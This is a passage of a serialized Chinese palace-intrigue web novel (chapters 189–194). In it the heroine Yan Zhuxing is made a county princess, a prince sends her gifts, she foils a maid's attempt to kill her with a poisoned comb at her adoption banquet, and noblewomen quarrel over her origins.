“今日骤闻册封县主的喜讯,大喜之下激动太过,气血一时上涌,这才晕厥。如今凤体无大碍,静养即可。”
“朕知道了。你开方子去吧。”文昭帝挥手,让他离去。
许太医如释重负,快步退下。
一旁的烈国公夫人和晏逐星听到这话都松了一口气。
两人对视一眼,决定离开。
这时,就听崔皇后开口道:“皇上来得正是时候。”
“太后先前见了这丫头甚是喜欢,晕厥前口谕封其为令嘉县主。臣妾想着既是太后的恩典,不如请陛下即刻降旨成全?省得太后凤体抱恙还悬心此事。”
谢翊宁眼中掠过一丝由衷的叹服,看向皇后。
果然姜是老的辣!
母后言语间的运筹帷幄、滴水不漏,比他厉害多了。
文昭帝:“哦?竟有此事?”
崔皇后不疾不徐地将先前的事情说了出来。
文昭帝心下顿时了然。
太后这回不是被儿子气晕的,是被皇后气晕的。
他略一颔首,沉声道:“既是如此,为人子者,以孝为先。母后凤体欠安犹念此事,朕焉能使其心愿悬空,再添忧思。”
“烈国公府义女晏逐星,深得太后慈心嘉赏,实属难得。册封其为令嘉县主,以慰母后慈怀。”
“并赐黄金百两,各色贡缎千匹,翡翠头面、南珠步摇、赤金镶宝首饰各十套,京郊良田五百亩以为祭田供奉,另赐西山温泉别院一座并内附庄田,以彰恩典。”
晏逐星急忙下跪叩谢圣恩领旨。
趁着太后还没醒过来,崔皇后命谢翊宁赶紧将烈国公夫人和晏逐星送出宫去。
一路上,烈国公夫人有一肚子的话想和晏逐星说。
奈何一旁还站着一个永安王,她只能又将话憋回了肚子里。
好不容易到了宫门口,烈国公夫人正准备和永安王道别,然后和晏逐星说些体己话,就听到永安王开口:
“夫人今日多有辛劳,早些回府歇息才好。晏大小姐这边,就不劳烦夫人相送了。本王回府正巧途经晏宅,可与大小姐一道同行。夫人请自便。”
烈国公夫人:“……”
第189章 王爷再送礼
烈国公离开后,谢翊宁便让晏逐星上了他的马车,而他骑马跟在后边。
一路上,谢翊宁一句话都没说,晏逐星有些坐立不安。
王爷这是生气了还是没生气啊?
待会她该怎么解释今日的事情,才能让王爷相信她呢。
就这样纠结了一路。
抵达晏宅时,晏逐星下车道谢后,谢翊宁只是微微颔首表示知道了,然后竟然直接走了。
晏逐星:?
还真就只是顺路送她回家啊。
晏逐星稀里糊涂地回了宅子。
衔蝉几人当即迎了上来。
“小姐,如何了?太后可有刁难你?”
“没有。”说起这事,晏逐星就有些想笑。
太后今日怕是要被气死了。
原本只想给她一个虚名拿捏她,结果被皇后娘娘和永安王架在火上烤,不得不给了她实实在在的好处。
“我如今被封为县主了。”晏逐星笑着把长乐宫里发生的事情说了出来。
听完她的话,几个丫鬟齐刷刷的震惊了。
她们还以为小姐今日入宫凶多吉少,没想到小姐竟然逢凶化吉,白捡了个县主当当?
双鲤猛地拍了下膝盖,眼睛亮晶晶的:“那咱们是不是要搬到皇上赏的庄子去了?”
衔蝉无奈地伸手戳了戳双鲤的脑门:“醒醒神儿!还咱们呢,如今得叫县主!”
而后她扭头转向晏逐星,语气又急又忧。
“主子,不是奴婢多嘴,您马上就是正经县主了。按例,护卫、车夫、粗使婆子、厨娘……林林总总加起来,没六十号人根本支应不开。光厨房就得塞进去七八个,不然来了客,连碗像样的四喜丸子都端不出来。”
她掰着手指头,语速飞快。
“外院得有个老练总管镇着,管小厮和护院;内院至少得俩管事嬷嬷,一个盯着您的衣裳首饰库房,一个管着丫鬟们别出岔子。浆洗的、缝补的、端茶递水的。哪样不得专门的人手?”
九栀和双鲤听得瞪大了眼睛,原来得有那么多人呢。
那他们如今住的这个小宅子,确实装不下那么多人。
衔蝉没有停下,继续道:“您现在身份不同了。要是还窝在这小门小户的院子里,出门没个像样的仪仗,赴宴连该带的随从都凑不齐。外头那些人嘴上不说,心里指不定怎么笑话您山鸡变凤凰,尾巴都支棱不起来呢。这不是平白让人看低了吗?”
晏逐星略一思索,点头道:“嗯,等认亲宴结束后咱们就搬。”
搬到京郊温泉山庄去,太后召见她就没那么容易了。
而且正好天气马上就要热起来了,温泉山庄冬暖夏凉,是个好去处。
最重要的是若有人去山庄刺杀她,也不会像在京城那般束手束脚,怕惊动了人。
毁尸灭迹可就方便多了。
届时,她还可以邀请骆文缨,让骆文缨领着几个姨娘去避暑。到时候让阮寄薇在她的地盘“生孩子”,就更好调包了。
晏逐星话音落下,颁布旨意的太监就来了。
领头的大太监满面红光,带着和善的笑意。
他利索地展开明黄圣旨,声音洪亮的宣旨:“奉天承运皇帝,诏曰:今特封烈国公府义女晏逐星为令嘉县主……”
周围的左邻右舍听到动静,悄悄出来看是什么情况,听到圣旨的内容都被惊呆了。
没想到他们这条街竟然出了一个县主!
宣旨的太监笑眯眯地看向晏逐星,提醒道:“恭喜县主!快接旨谢恩吧,您的好好日子还在后头呢。”
晏逐星赶紧走上前,端端正正地跪下,接下圣旨:“臣女晏逐星,领旨谢恩!吾皇万岁万岁万万岁!”
紧接着,流水的赏赐就被搬到了晏逐星的院子里。
晏逐星看着逐渐快要被填满的小院,觉得衔蝉说得实在是太有道理了。
她得尽快搬去温泉山庄了。
衔蝉几人负责整理这些赏赐,晏逐星松了一口气,正准备回屋休息休息,就看到了谢翊宁斜斜倚靠在她寝屋前的门廊上,姿态闲适得仿佛在王府后院。
她瞪圆了眼睛,不可思议道:“王爷,您怎么来了?”
“哟~这不是我们新晋的令嘉县主么?”谢翊宁微微挑眉,拖长了调子,语气里满是戏谑。
“怎么,从前是晏大小姐时本王来就可以,如今成了县主,倒是不行了?”
“我绝对没有这个意思!”晏逐星把头摇得跟拨浪鼓似的。
她还以为永安王走了就不会回来呢。
谁知道他竟然又折返回来。
她赶忙表忠心:“您想来就来,日后我搬去了温泉山庄,一样欢迎王爷大驾光临。”
看着永安王那双含笑的眼睛,晏逐星莫名有些心虚。
虽然她也不知道自己在心虚什么。
“哦~是么?”谢翊宁嘴角噙着一抹玩味的笑,手中的折扇轻轻点了点掌心。
“毕竟你和张公子议亲这么大的事情都没告诉本王,本王还以为你要过河拆桥,从今往后与本王划清界限呢。”
“议亲是没有的事,那是我说来糊弄太后的。她非要用婚事来拿捏我,我只能出此下策了。”晏逐星赶忙反驳,声音莫名带了一点儿委屈。
“再说了,我连杀朝华大长公主的事情都告诉王爷了,我还能有什么事瞒着您。”
她嘟囔道:“咱们现在可是一条绳上的蚂蚱,我骗谁也不敢骗您呀。”
听到她这话,谢翊宁嘴角悬挂着的假笑总算多了几分真心实意。
也是,这要命的事情晏逐星都能告诉他了,这议亲有什么可隐瞒的。
一定是权宜之计!
“说得也是。总归都是太后的错。”谢翊宁当场就不生气了。
他自顾自地领着晏逐星去了花厅,顺手又给晏逐星倒了茶。
晏逐星跟在他身后,陡然生出了一丝恍惚感。
她怎么感觉好像她才是外人,现在是来永安王的地盘做客?
谢翊宁端起茶杯轻啜一口,发觉是碧螺春,眉梢微挑看向她:“喜欢这个?本王新得了些父皇赏下的雨前龙团,滋味远胜于此。明日让照夜给你送一饼来尝尝鲜。”
“多谢王爷。”晏逐星习惯性地道谢。
道谢过后才意识到永安王要给她送的是什么。
第190章 九族不够砍
罗岕茶年产不足百斤,其中进贡宫廷仅二十斤。
如今民间一两顶级罗岕茶价值一两黄金。
平常那些王公大臣,能得皇上赏几两罗岕茶,那都是天大的脸面了。
现在永安王居然这么随便就说要送她两斤???
她抬头看向谢翊宁,他却像没事人似的,还在那儿慢悠悠地喝茶,好像刚才送出去的不是什么了不得的宝贝,就是块普通点心。
“王爷,此物太过贵重……”晏逐星斟酌着开口,想着怎么拒绝才不会让他不开心。
结果话没说完就被谢翊宁打断了。
“打住,本王懒得听这种话。这又不是什么值钱玩意,你多看些好东西,日后才不容易被人骗。”
晏逐星一时无言:“……”
不愧是永安王,有钱有势又得宠,好东西堆成山。
这么金贵的御赐贡茶,在他眼里竟然跟普通玩意儿似的。
她心里忍不住有点酸溜溜的。
不过转念一想,这东西马上就要落到自己手里了。
嘿,那还酸什么酸!
管他王爷当不当回事呢,好处实实在在是自己的就行,想那么多干嘛。
她干脆利落地再次道谢:“多谢王爷!”
见她还站着,谢翊宁微微抬起下巴,指了另一旁的椅子。
“坐呀。难不成还想让本王亲自搀扶着你坐下么?”
晏逐星立马乖巧地坐了下去:“倒也不必劳烦王爷。”
见她坐下,谢翊宁才说起今日在宫中的事情。
“看来太后是打算在你的婚事上做文章了。”提起太后,他眉眼里满是不喜。
晏逐星点了点头,笑意也收了起来。
“今日没指婚成功,难保她日后不会再重新想什么阴招。此事,不得不防。”
“你打算怎么防?”谢翊宁开口询问。
晏逐星便将自己打算搬去温泉山庄,暂时先远离太后召见的事情说了出来。
没想到,谢翊宁听完笑出了声。
“王爷笑什么?”晏逐星不解。
“本王还以为按照你的性子,会提出和本王一块把太后给杀了呢,省得日后她再找你麻烦。”谢翊宁说完没忍住自己又笑了。
晏逐星:“……”
说得好像她是什么没有感情的杀手似的,怪吓人的。
再说了,杀太后哪有杀公主和郡主简单,太后几乎不出宫,她若在宫里动手,很难全身而退。
到时候被发现她杀了太后,九族怕是都不够砍的。
哦不,她如今无父无母,孑然一身,皇家连她的一族人都找不到,还砍啥呢。
想到这,晏逐星乐了,不由自主地笑出了声。
“你又笑什么?”这下轮到谢翊宁好奇了。
晏逐星憋着笑把自己刚刚想到的事情说了出来。
两人对视一眼,都没忍住,不约而同地笑出了声。
“你这小脑袋瓜子倒是机灵。”谢翊宁用扇子点了点她的脑门。
而后他给晏逐星说起了太后的事。
“依照太后的性子,今日算计失败了,来日肯定还会再找你麻烦。直到她知道你惹不起,才会罢休。”
就像他小时候那样,太后总是找他母后的麻烦,每次找母后的麻烦他就往地上躺,把太后给逼走。
但太后就跟那打不死的苍蝇一样,老是折腾母后,烦不胜烦。
直到最后一次他差点把自己弄死在长乐宫,父皇发了好大的脾气,太后怕被背上谋害皇嗣的罪名,这才彻底消停,不敢再招惹他和母后。
“所以本王劝你,若要反击,那就要一击毙命,不要让她一直蹦跶不停,怪烦人的。”
王爷这副过来人的语气,一看就经验十足。
晏逐星郑重点头:“多谢王爷提醒,我记下了。”
*
太后苏醒后,得知皇帝速度快得连封县主的圣旨都颁布出去了,差点一口气没喘上来就又晕过去。
“逆子,混账,本宫要你们不得好死!”
她气急败坏地怒骂。
今日算计晏逐星不成,竟然还倒贴了那么多东西,她快气死了。
那座温泉山庄从前乃是秦王妃所有,秦王谋反后那温泉山庄自然也被抄没归了国库。
她原本打算等福安成婚时把那个山庄给她当陪嫁的,如今竟然被皇帝赏给了晏逐星。
她怎能不气!!!
还没等她发泄完怒火,外边的宫女就跑来通传:“启禀太后娘娘,驸马爷求见。”
太后深吸好几口气,又喝了一盏冷茶,这才将心头的躁意和怒火给压了下去。
姜嬷嬷看着这一幕,那句“冷茶伤身”还是咽回了肚子里。
太后如今火气正旺,她还是不要触霉头了。
“宣驸马觐见。”
太后心情平复了许多,方才宣召李兰亭。
不曾想,李兰亭接下来的话却让她火冒三丈。
“臣就想问一句,”李兰亭压着火,“太后娘娘说要替公主报仇,结果就是给仇人封赏吗?”
他憋了一肚子气。
那天太后让他别管,说她自有主张,他就老实等着。
结果等来等去,等到的竟是太后喜欢晏逐星,还封了她当县主的消息。
看着一台接一台的赏赐搬进晏宅,他实在忍不住了直接冲进宫来问个明白。
“你敢这么跟哀家说话?!”太后气得狠狠一拍桌子。
“臣不过是为公主鸣不平罢了。”李兰亭脖子一硬,豁出去了。
“晏逐星害死了公主和福安郡主!您倒好,反手封她当县主。您想过没有,公主她们在地下知道了,该多难受、多寒心!”
太后被他噎得一时说不出话。
朝华是她亲女儿,福安是她亲外孙女,难道她还不如李兰亭一个外人疼孩子?!
“愚蠢,你懂什么!”太后怒道。
“女人嫁人就是第二次托生。嫁错了人,这辈子就毁了!现在她是县主,算半个皇家人,哀家就能名正言顺给她指婚,让她嫁个烂人,一辈子都过不好!”
“届时她身陷囹圄,求生不得求死不能,岂不是比一刀杀了她更痛快?”
被太后这么一骂,李兰亭也从盛怒下渐渐清醒。
他“扑通”一声跪倒在地,低头认错:“太后娘娘息怒!臣一时情急,说话没过脑子,冲撞了您。臣知错,任凭太后责罚!”
太后深吸一口气,想着他到底是为了女儿和外孙女才这般失控,也算情有可原。
沉默片刻后,冷着脸道:“念在你一片忠心,又是为朝华和福安着急,这次哀家就不重罚你了。”
“但冲撞哀家,不能不罚。”
“你自行掌嘴十下。小惩大戒。”
说完,她看也不看跪在地上的李兰亭,挥了挥手:“退下吧。”
“多谢太后娘娘宽宏大量。”李兰亭攥紧了拳头,每一个字都像是从牙缝里挤出来的。
他站起身,走到长乐宫敞开的殿门前。
阳光刺眼,殿内殿外的人都看得分明。
他沉默了片刻后,方才抬手对着自己的脸狠狠抽了下去。
“啪!啪!啪!”
清脆响亮的耳光声在寂静的宫殿里回荡,一声接着一声,毫不含糊。
宫人们都倒吸一口凉气。
驸马真是个狠人啊。
他们统统别过头,不敢看,生怕被李兰亭记恨上。
十下打完,李兰亭两边脸颊已经红肿起来,火辣辣地疼。
他放下手,站得笔直,仿佛那十下不是打在自己脸上。
然后对着殿内方向躬身行了一个无可挑剔的礼方才离开。
直到走出宫门,他脸上所有的伪装瞬间褪去,只剩下冰冷的恨意。
太后老了,手段已不堪用。
靠她那样的法子,猴年马月才能为朝华和福安报仇。
他等不了太后慢慢复仇了。
他夜夜入梦都是福安的哭喊和朝华的呼唤。
认亲宴那日,他一定要晏逐星去死。
第191章 针对她的局
烈国公府办认亲宴这天,京城里有头有脸的人家几乎都到齐了。
一来是烈国公夫妇为人不错,人缘好;二来众人也是冲着刚被封为县主的晏逐星来的。
虽说她来历不明,亲生爹娘到现在也找不着,可当面谁也不敢说三道四。
毕竟能同时让有烈国公府和太后撑腰的人,万里挑一。
晏逐星提前一夜住到了烈国公府。
烈国公府这次是真给她撑足了脸面,所有安排都照着府里正经嫡出小姐的规矩来,一点不含糊。
吃穿用度、伺候的人手,样样都是顶格的。
府里还特意给她收拾出了一个单独的院子,地方敞亮,取名就叫“摘星院”。
此刻晏逐星端坐镜前,身着月白软绸中衣,青丝垂落腰际。
专门请九章堂赶制出的流光缎吉服已经被挂在了一旁的雕花衣架上,只等着待会穿上。
“县主,咱们先绾发,再更衣。”衔蝉指尖掠过她如瀑长发,拿起玉梳,脸上是掩不住的喜悦。
“您放心,今儿个奴婢肯定把您这头发梳得又光又亮,再配上皇上御赐的头面,保管您一出场就艳惊四座。”
她真心为自家小姐高兴,熬了那么久,总算苦尽甘来了。
晏逐星看着镜中她兴奋的样子,唇边也浮起一丝笑意:“嗯,那就交给你了。”
衔蝉正要将梳子落向晏逐星柔顺的青丝,外间忽然传来一阵急促的脚步声。
紧接着,一个小丫头掀开帘子一角探进头来,脸上堆着笑,眼神却带着几分显而易见的焦急。
“衔蝉姐姐可在?快、快随我去趟小厨房。”
“发生什么事了?”衔蝉梳头的手一顿,看向了小丫头。
小丫头喘着气,急声道:“夫人特供县主的金玉满堂羹出岔子了。那活石斑鱼混进了死鱼,采买的人又不见了。如今夫人催得紧,李妈妈都急哭了,说只有您最懂县主口味,也最会挑鱼,求您千万过去掌掌眼。这要是误了吉宴,我们可都完了!求您了!”
衔蝉眉头微蹙,她还得给小姐梳头呢。
这厨房的事情,怎么也落到她头上了。
不止是她,晏逐星也察觉到了不对劲。
她身边的几个大丫鬟,两刻钟前陆陆续续地被叫走了。
双鲤被叫去陪尉迟敦玩球,九栀被叫去听烈国公夫人吩咐,如今衔蝉也要被人叫走。
这摆明就是要让她身边空无一人。
衔蝉正欲拒绝,晏逐星就拍了拍她的手:“你就随她去看看吧。”
“可奴婢还要给您梳头呢。”衔蝉不放心,“若耽误了您亮相的吉时,那可就不妙了。”
“奴婢是夫人特意派来给县主梳头的,若县主不嫌弃奴婢的手艺,奴婢可以代劳。”这时,门外站出来了一个丫鬟。
晏逐星记得她叫莺歌。
烈国公夫人在摘星院给她配了四个大丫鬟,只是她用惯了衔蝉,便没有让她们伺候。
“好,那就你来替本县主梳头吧。”晏逐星不动声色地看了衔蝉一眼,重重按了她的手一下。
衔蝉会意,小姐是有事要支开她。
她点点头:“那就交给这位姐姐了。县主,奴婢随这丫头去厨房走一趟。”
“嗯。去吧。”晏逐星唇角依旧挂着淡淡的笑意,只是笑意不达眼底。
莺歌恭恭敬敬地走上前,伸手去拿妆台上那柄温润的玉梳。
然而就在她指尖触碰到梳子的瞬间,手腕却猛地一抖。
玉梳脱手,重重摔落在光洁的地砖上,发出一声脆响。
莺歌脸色唰地惨白,噗通一声就跪了下去。
她身体抖得厉害,双手死死攥住了裙摆,声音带上了一丝哭腔:“奴婢该死!求县主恕罪!”
晏逐星将她的失态尽收眼底。
她淡淡道:“今日是吉日,莫要说什么死不死的,不吉利。起来吧。梳子罢了,换一把便是。”
“多谢县主宽宏大量!”莺歌如蒙大赦,踉跄着爬起来胡乱用袖子擦了擦眼泪。
“奴婢这就将功折罪,定给您梳个顶顶漂亮的头发!”
她一边说着,一边急急转身,径直走向角落一个半开的妆匣从最里边摸索出一把崭新的银梳。
莺歌深吸一口气,像是下定了某种决心,握着那把银梳走回晏逐星身后。
“县主,这是夫人特意请名匠为您打造的梳子,一柄价值上百两呢。夫人待您真是如同亲女儿一般呢。”她的声音带着温柔与羡慕。
“嗯,夫人待我是很好。”晏逐星点了点头,目光一直盯着镜子没离开过她。
“今日过后,您就是国公府……”莺歌一边说话分散晏逐星的注意力,一边举起手准备将梳子落向晏逐星的头发。
却没想到,一直对着镜子安静坐着的晏逐星忽然闪身避开了她的举动。
“县主,您这是做什么?”莺歌满脸错愕。
没想到,晏逐星反手就扣死了她握着梳子的手腕,另一只手狠狠戳向了她手肘内侧的麻筋。
莺歌猝不及防,只觉得半边身子瞬间酸麻剧痛,手中的银梳脱手直直坠向地面。
晏逐星扣着莺歌手腕的手顺势一拽,她整个人就被一股巨力带得向前扑倒,重重砸在坚硬的妆台边缘,疼得她眼泪都飙了出来。
“县主……”
她还想狡辩什么,晏逐星就用膝盖顶住她的后腰,将她双手反剪,没有丝毫怜香惜玉,以一个绝对压制的姿势将她死死摁在妆台上。
莺歌的脸贴着冰冷的桌面,惊恐地瞪大了眼睛。
她想不明白她到底哪里露馅了,怎么这么快就被晏逐星发现了。
明明她差一点就要得手了。
第192章 歹毒的算计
“谁派你来的?”晏逐星语调毫无波澜,但落在莺歌耳朵里,却充满了杀意。
她身子不自觉地哆嗦,但还是嘴硬不承认:“县主,奴婢不知道您在说什么。”
“我数到三,你若不说实话,那么我就送你去见阎王了。”
好歹是国公府的丫鬟,晏逐星决定还是给烈国公夫人一点面子,没有马上就拧断她的脖子。
“奴婢真的不明白您在说什么啊……”莺歌垂死挣扎。
“一、二、三。”晏逐星没有继续浪费时间,快速地把一二三给数完了。
见她还是不说,晏逐星直接将她用力一推。
她整个人就面朝下直直地摔趴在了地上,还没等她反应过来,晏逐星的脚就用力踩在了她的背上。
莺歌发出了凄厉的惨叫。
但晏逐星没有停顿,她的动作很快,紧接着就半蹲下抓住她的手去捡起落在地上的那把银梳,而后用力梳向了她的头。
“不——”
莺歌尖叫了起来,比先前的声音更加惊恐与害怕。
“不要。”
但已经晚了。
晏逐星动作十分简单粗暴,直接用那梳子把她头发梳得乱七八糟,甚至还梳出了血。
莺歌面若死灰。
她知道,她完了。
晏逐星见她浑身无力,径直松开了她的手,仔细观察起了她的情况。
这把银梳看着很正常,莺歌如今只是面色发白了一些,看着像是受了惊吓,但也没有任何要死的迹象啊。
难不成是她猜错了?
“你怎么还没死?”晏逐星盯着她喃喃自语。
本来绝望的莺歌听到这话:“……”
晏逐星将绑在小腿上的匕首拔了出来。
“没死那我送你一程吧。反正你刺杀我的任务失败了,你之后也活不成的。不用谢。”
晏逐星说完就要把匕首刺向她的后心窝处。
“县主饶命,我什么都说。”莺歌尖叫了起来。
晏逐星手中的匕首划破了她的皮,但还是及时地收住了手。
莺歌脸上挤出一个比哭还难看的苦笑:“县主,您杀不杀奴婢,都一样了。再过半个时辰,奴婢都得死。”
她顿了顿,语气里带上一丝微弱的乞求。
“奴婢斗胆求您,看在我都说了实话的份上,能不能发发慈悲帮帮我的家里人?他们什么都不知道……”
“你没资格跟我谈条件。”
晏逐星的声音冰冷,依旧没有松开她。
“呵,您说得对……奴婢该死,奴婢该死……”她语无伦次,眼泪混着鼻涕流下,狼狈不堪。
“我们这种生来就命贱如草的奴婢,怎么配跟您这样的贵人讨价还价。”
她像是彻底放弃了,眼神空洞地看着前方,开口将一切和盘托出。
“前天夜里有一个蒙着脸的人找上了我。我不知道他是谁,他就给了我这把梳子,让我用它给您梳头。”
“他说梳子上有有剧毒,神仙也看不出来。只要梳头时划破您,哪怕一点点头皮。半个时辰,您就会喘不上气,像中风一样死掉。”
晏逐星眉心一拧。
那人是算准了时辰来杀她。
半个时辰后,正是她梳妆完毕,身着华服,作为国公府新认的义女在满堂宾客面前最光彩夺目的时刻。
届时,她会在所有人的注视下突然“中风”暴毙。
众目睽睽之下,一个刚被认作义女的县主离奇猝死,国公府必然颜面扫地。
而她的死也将成为京中所有人的笑柄和谈资。
那个藏在阴影里的幕后之人,却能将自己摘得干干净净,不留半点痕迹。
真是歹毒的算计。
“我不敢答应,我哭着求他。”莺歌的声音陡然拔高,打断了晏逐星的思绪。
“可他说我不干就杀我全家!杀光我爹娘!杀光我弟妹!一个不留!当时刀就架在他们脖子上,您说我能怎么办?!我能眼睁睁看着我爹娘弟妹因为我被活活砍死吗?!我做不到!呜呜呜呜……”
说到最后,她再也压抑不住发出撕心裂肺的嚎哭。
晏逐星沉默了片刻后,忽然开口:“好。若你真的按照你说的那样死了,我会派人看着你的家人。”
莺歌若是死了,那幕后之人或许会狗急跳墙去杀她全家灭口。
她守株待兔,或许能找到线索。
“县主此言当真?”莺歌不可思议地看着晏逐星。
“嗯。”晏逐星微微颔首。
“那就好。”莺歌瘫软在地,露出了如释重负的笑。
这时,被叫走的九栀回来了。
她看到这一幕,吓了一跳,当即拔剑指向莺歌。
晏逐星将莺歌交给了她,嘱咐道:“看好她。”
而后去了院外,叫了一个丫鬟,让她去把烈国公夫人请来。
烈国公夫人急匆匆赶来,得知有人要在国公府暗杀晏逐星,吓得脸色煞白。
她赶紧吩咐下去:“快,快请太医来替县主瞧瞧。”
“干娘,我没受伤,你不必紧张。此事不宜惊动外人。”晏逐星沉声安慰。
“那人虽然是冲我而来,但难保不会对兄长动手,您一定要看紧了兄长身边的人。”
尉迟敦心智如稚童,很容易被利用,成为有心人的刀。
“好,我一定会的。”烈国公夫人忙不迭地点头。
“吉时快到了,我先梳头更衣。”晏逐星有条不紊地安排了起来。
她的冷静让烈国公夫人也渐渐淡定了下来。
她当即命自己的丫鬟亲自给晏逐星梳了头,而后将此事告知了烈国公,让他今日亲自看着儿子,任谁都不许接近。
又去严查厨房,生怕出什么茬子。
先前给衔蝉传话的小丫鬟也已经扣留,命心腹去审。
她忙得脚不沾地,最后亲自看着晏逐星换上了流光缎制好的吉服,这才松了一口气。
烈国公夫人瞧着这华丽的衣裳,忍不住感慨道:“皇后娘娘对你可真好,连这么宝贵的浮光锦都赏你了。”
“干娘,您仔细瞧瞧。这不是浮光锦。”晏逐星微微一笑。
“什么?”烈国公夫人震惊了。
她仔细看了看,才发现这确实不是浮光锦。
“这是何物?”烈国公夫人忍不住追问。
“此物名为流光缎。日后会在京中的流光阁出售。如今此物产量并不多,但我已经给您和表姑各留了两匹。过些时日就送来。”晏逐星简单地说了一下日后自己的打算。
烈国公夫人听完,嗔怪地看了她一眼:“你的铺子开业,干娘怎么能不去给你捧场。不必送我,我会去买。”
“您买归买,我送的是我做女儿的心意。”
一句话就让烈国公夫人笑逐颜开。
“好,都依你。届时干娘一定带人给你捧场。”
就在二人低语之际,吉时的钟声响了起来。
晏逐星搀扶住烈国公夫人的手臂正式步入认亲宴主厅。
晏逐星一露面,方才还萦绕的丝竹谈笑之声骤然减弱。
无数道目光齐刷刷地聚焦在她身上,带着毫不掩饰的惊艳与探究。
今日的晏逐星褪去了往日的素淡,身上的华服流光溢彩映衬得她容颜如玉,让人忍不住多看几眼。
“她穿的竟然是浮光锦???凭什么!”一个身着鹅黄裙子的少女脱口而出。
第193章 被蠢货连累
她的娇叱声引得附近几桌侧目。
众人一看,是太傅府的金枝玉叶的陆三小姐陆玥君,便没敢多说什么。
谁都知道太傅府三位千金,就属二房的陆玥君最受宠。
坐在她身旁的二小姐陆珮君皱眉提醒:“三妹妹,这是皇上亲封的县主,慎言。”
陆玥君横了她一眼,压低声音道:“这轮得到你多嘴么。”
陆珮君眉头皱得更紧了。
若不是为了见长姐,她也不会来这个宴会。
更不会跟陆玥君这个蠢货坐在一起,丢人现眼。
陆玥君酸溜溜地开口:“要不是当年定远侯夫人把她偷抱回侯府养着,她哪能有今天?别说当县主了,国公府义女她也高攀不上。”
裴芜听到这话顿时将临出门时母亲叮嘱她不要和人起冲突的事情给忘了,脱口而出道:“温氏那是拐孩子!说不定人家亲爹娘这些年找她找得多苦。照你这意思,她还得谢谢温氏那个人贩子不成?”
见看过来的人越来越多,陆玥君讪讪地反驳:“我、我就随口那么一说。谁知道她原本家里是什么光景。万一穷得叮当响,那能有今天这风光,难道不是因祸得福吗?”
陆珮君原本还想着顾全大局,忍一忍她,不要在外与她起冲突,免得连累了太傅府的名声。
但她怕她若是再不开口,旁人怕是要以为陆家教女无方,养出的女儿皆是这般上不得台面的浅薄之流。
她当即开口呵斥:“三妹妹慎言。令嘉县主得此造化是上天垂怜。若按你因祸得福之说,岂非暗示天下人贩皆是无心插柳的恩人?若是这话传出去,不知多少歹徒要以此为由逍遥法外。祖父乃是清流领袖,你说这番话,岂不是让祖父蒙羞?”
而后不给陆玥君说话的机会,抱歉地看向众人。
“三妹妹年纪还小不懂事,思虑不周,让诸位见笑了。”
“哼。”裴芜哼了一声,没说话。。
嘉敏郡主饶有兴味地看着她们因为晏逐星而起争执,没说话。
其他家的千金们笑呵呵地应和了两句,总算将此事揭过
陆玥君没想到平时闷不做声的陆珮君竟然敢当众训斥她,还搬出祖父压她一头。
可她一时间又想不到话语去反驳。
她咬牙切齿,决定回府就找祖母告状,让祖母好好收拾陆珮君。
晏逐星跟着烈国公夫人拜见京中各位贵夫人们,并不知这些贵女们因为她的身世引发了一轮争吵。
烈国公夫人携着她的手,如同展示一件稀世珍宝,将她引荐给京中各位贵夫人们。
“这位是昭明公主……”
“这位是太师府的柳老夫人……”
“这位是忠国公老夫人……”
一圈走下来,晏逐星应对得体,举止从容,没有半分怯场瑟缩之态,倒让一些原本存着轻视之心的夫人暗暗点头。
忠国公老夫人得了宫中女儿的暗示,今日特意来给晏逐星撑腰。
此刻瞧见她走近,忍不住拉着她的手上下细细打量,眼中是毫不掩饰的惊艳与喜爱:
“好孩子,今日这一身真是叫人眼前一亮!这才对嘛,小姑娘家家的就该穿得鲜亮些,花骨朵似的才好看。这浮光锦的光泽,最是衬你这般的好颜色了。”
她一边说一边褪下腕上一只通体莹润的羊脂玉镯,亲自戴在晏逐星手上。
“多谢老夫人厚爱。”晏逐星微微一笑,恭敬行礼后,方才继续开口。
“只是您看岔了,我身上所穿的并非浮光锦。”
“哦?”忠国公老夫人一愣,随即好奇心更盛。
“不是浮光锦?那这般奇特的流光溢彩是……”
她的话音未落,旁边几位夫人也不由自主地将目光落在晏逐星的裙裾上。
这竟然不是浮光锦?
“此物名为流光缎。”晏逐星将早已打好的腹稿说了出来。
得知日后晏逐星会在朱雀大街开铺子售卖这流光缎,先前矜持着的礼部尚书夫人夏氏忍不住开口:“敢问县主,铺子何时开业呀?”
她家小闺女过两个月就要及笄了。
若及笄礼上能穿上这样一条漂亮的裙子,定然会很高兴。
“约莫半个月后。若夫人不嫌弃,届时我会提前一日让人上门给您送帖子。”晏逐星微微一笑。
“县主相邀,怎会嫌弃,我高兴还来不及呢。”夏氏笑眯眯地接话。
“令嘉县主可不能厚此薄彼,您也要记得给我们发帖子啊。”其余的夫人们也跟着开口。
晏逐星一一笑着应下。
没有女子能不爱漂亮衣裳。
因着这流光缎,宴会的气氛顿时活跃了不少。
眼见该见的重要人物都已见过,晏逐星也已经将开铺子的事情告知了众人。
烈国公夫人侧首看向晏逐星,笑道:“好了,星儿,礼数尽了。你年纪轻轻的,不必总拘在我这老婆子身边。”
她抬眸,目光扫向不远处花团锦簇的贵女席位。
“去西厅水阁那边松散会儿吧,和各家的小姐妹们说说话,认认人。你们年轻人自该有年轻人的热闹。”
“是。”晏逐星应下,而后领着衔蝉和双鲤去了一旁的水阁。
晏逐星的身影一出现,方才还言笑晏晏的贵女们便不约而同地静了下来。
目光或恭敬、或探究、或夹杂着不易察觉的复杂情绪,无声地落到了她身上。
裴芜眼睛一亮,几乎是下意识地咧开嘴,露出两排细密的白牙。
那声熟悉的“星儿”几乎要冲口而出。
心腹丫鬟璎珞的死死攥着她的衣料,低声提醒:“小姐!要参见县主!”
裴芜一个激灵,瞬间清醒。
如今晏逐星身份不同了,她不能再像从前那般随意。
否则,她会被人说不懂规矩、不知尊卑,也会让星儿为难。
她还没开口,晏逐星就飞快冲她眨了眨眼,而后快步走向端坐在正中央的华服少女,冲着她盈盈一拜:“见过嘉敏郡主。”
今日在场的诸位贵女,除了昭明公主膝下这位嘉敏郡主,论身份品阶,无人能及她。
礼不可废,她不能让人抓住她的把柄。
嘉敏郡主见她这般客气,唇角微扬,指尖轻抬:“县主请起。”
空气仿佛凝滞了一瞬。
裴芜见状也急忙垂首恭敬地冲晏逐星行礼:“臣女裴芜,见过令嘉县主。”
裴芜这一拜让众人如梦初醒,纷纷敛起神色给晏逐星请安。
人群中的陆玥君动作格外僵硬。
她紧抿着唇,下颌线绷得紧紧的。
纵然她的祖父是当朝一品太傅,位极人臣,但她无品无阶见到晏逐星这个县主还是得行礼。
她不服。
第194章 晏逐星惩戒
